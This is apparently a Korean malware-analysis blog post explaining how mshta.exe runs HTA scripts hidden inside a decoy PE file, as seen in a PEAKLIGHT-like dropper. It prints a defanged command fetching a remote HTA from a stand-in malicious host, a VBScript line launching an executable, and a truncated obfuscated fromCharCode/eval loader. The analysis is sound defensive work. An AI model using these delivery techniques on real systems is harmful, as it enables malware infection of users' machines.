mshta 란?
mshta.exe는 Windows 운영 체제의 기본 구성 요소로, Microsoft HTML Application Host를 실행하는 프로그램이다. 주로 hta 파일을 실행하기 위해 사용되며, hta 파일은 HTML 기반 응용 프로그램으로, HTML, JavaScript, VBScript 등의 코드가 포함되어 있다.
보통 악성코드에서는 hta 파일 경로나 URL을 지정하여 실행한다.
mshta hxxp://malicious[.]site/script.hta
mshta.exe는 직접적으로 MZ파일을 실행하진 못하지만, 내부 스크립트를 이용해서 실행할 수 있다.
hta 파일과 같이 HTML 및 스크립트를 실행하기 위한 도구로 설계되었으므로, 직접적으로 MZ 파일(실행 파일)을 실행하지는 못하지만, 간접적으로 다음과 같은 방법으로 MZ 파일을 실행할 수도 있다.
Set objShell = CreateObject("WScript.Shell")
objShell.Run "malicious.exe"
최근 'PEAKLIGHT' 라는 이름의 악성코드 공격이 발견 되었다.
흔적을 남기지 않는 메모리 전용 악성 코드 파헤치기 - PEAKLIGHT | Google Cloud 블로그
Mandiant는 복잡한 다단계 감염 프로세스를 사용하는 새로운 메모리 전용 드로퍼를 식별했습니다.
cloud.google.com
지금부터 볼 악성코드 또한 mshta.exe를 통해 파일을 다운로드하고 파워쉘코드가 떨어지는 구조로 동작한다.
처음 분석에 들어갈땐 mshta.exe를 통해 PE형태의 Linipute.json파일을 분석하면 된다는 착각으로 분석을 시작하면 분석에 어려움을 겪을 것이다. 여기서 mshta.exe의 특징을 정확히 알고 있다면 쉽게 풀 수 있는 문제 였다.
이론적으론 mshta.exe 프로세스는 다운로드 받은 Linipute.json 파일에서 HTML 애플리케이션 형식인지 확인하고(<hta:appplication/>) 이게 포함되지 않을 경우 실행되지 않을 것이다. 만약 정상적으로 파싱이 된다면 그 안에서 자바스크립트가 돌아서 파워쉘코드를 만들었다면 이해가 가는 상황이다.
실제 다운로드 받은 Linipute.json 파일은 PE파일(nodepad.exe 여러개)이지만 이건 미끼에 불과했다. PE파일로 인식하고 실제 Linipute.json파일을 실행했을 경우에는 아무 반응이 없기 때문이다.
해당 파일 내부에는 실제 스크립트가 존재했다. PE관련 값들 포함하여 전부 쓰레기값이다.
다운로드 받은 파일 내에서 '<script>' 로 검색하면 쉽게 찾을 수 있다. PE파일 사이사이마다 교묘하게 스크립트들을 숨겨놨다.
그렇게 mshta 스크립트의 특징을 파악한 후 전체 코드를 확인해보면 아래와 같은 조합이 완성된다. mshta는 사이사이 끼워져있는 스크립트를 파싱해서 실행시켰던 것이다.
<HTA:APPLICATION CAPTION = "no" WINDOWSTATE = "minimize" SHOWINTASKBAR = "no" >
<script>
If=102;Ws=117;dv=110;SJ=99;aB=116;Oo=105...
var vRi = String.fromCharCode(If,Ws,dv,SJ,aB,Oo,yj,dv,yN,Uj,iw,JY,zL,lX,IV,...)
</script>
<script>
eval(vRi)
window.close();
</script>
다운로드를 행위를 통해 단순 PE파일이 떨어졌으니 PE에 대한 분석이 이어져야 한다는 단순 착각으로 분석을 이어간다면 시간을 낭비할 수 있는 상황이였다.
'분석 TIP > 정적분석' 카테고리의 다른 글
JavaScript 난독화 분석 (0) | 2025.04.23 |
---|---|
Autoit 샘플 분석 (0) | 2025.04.21 |
IDA에서 Structures PE 구조체 적용하기 (0) | 2025.04.20 |
동적API 구조체로 IDA 함수명 매핑하기 (0) | 2025.04.19 |
Visual Basic 6.0 샘플 분석 (0) | 2025.04.18 |